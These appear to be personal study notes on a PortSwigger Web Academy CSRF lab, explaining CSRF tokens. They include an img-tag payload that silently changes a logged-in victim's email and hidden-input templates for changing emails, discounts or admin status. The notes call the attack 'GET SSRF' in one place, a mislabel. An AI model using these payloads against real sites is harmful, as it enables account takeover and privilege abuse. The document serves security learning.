> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/crsf/lab-2.md).

# Lab 2

For GET SSRF:

#### The key thing you're missing

The vulnerable site has a comment section or forum. You post this as a comment:

html

```html
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

1. Victim is logged into vulnerable-website.com
2. They browse to the comments page
3. Their browser sees the <img> tag
4. Browser automatically tries to load the image
5. That means it fires a GET request to:
   vulnerable-website.com/email/change?email=pwned@evil-user.net
6. Browser attaches their session cookie automatically
7. Server receives valid request + valid cookie
8. Email gets changed
9. Victim just sees a broken image or nothing
```

#### What a CSRF token does

It's a random secret value the server generates and puts in the form. When you submit, the server checks if the token matches. If not → rejected.

* It's unique per session/per form load
* It lives in the HTML of the real site
* Cross-origin rules prevent evil.com from reading bank.com's HTML

<figure><img src="/files/lWsGP4KXPYv7RTtlLzPw" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
CSRF tokens don't have to be sent as hidden parameters in a `POST` request. Some applications place CSRF tokens in HTTP headers, for example. The way in which tokens are transmitted has a significant impact on the security of a mechanism as a whole. For more information, see How to prevent CSRF vulnerabilities.\
\
CSRF tokens also need to check on all ways of delivery. This includes POST, GET, etc...&#x20;
{% endhint %}

<figure><img src="/files/3r8syoWBCE5ZmBDEQemA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2mWLLMKQOr2vGoYvyQve" alt=""><figcaption></figcaption></figure>

Also another clue - you can't read the HTML of an victim - the cookie is an exception because it attaches itself to the browser&#x20;

### Solving It&#x20;

<figure><img src="/files/T85ZNFq0YUNeQE5YAwcf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zeZgnsFO67lgSFtNsQdx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8T6fnetq4XpMXDLhfP7K" alt=""><figcaption></figcaption></figure>

This one doesn't seem to work as it has a missing email parameter.&#x20;

<figure><img src="/files/oNoyoa6P8yR8QU9Fehoz" alt=""><figcaption></figcaption></figure>

But this one worked. Why?

For every input especially in HTML you need to define a name, value, and input type.

```
<input type="hidden" name="PARAMETER_NAME" value="PARAMETER_VALUE" />


<!-- Changing email -->
<input type="hidden" name="email" value="hacker@evil.com" />

<!-- Changing a discount -->
<input type="hidden" name="discount" value="100" />

<!-- Changing admin status -->
<input type="hidden" name="isAdmin" value="true" />
```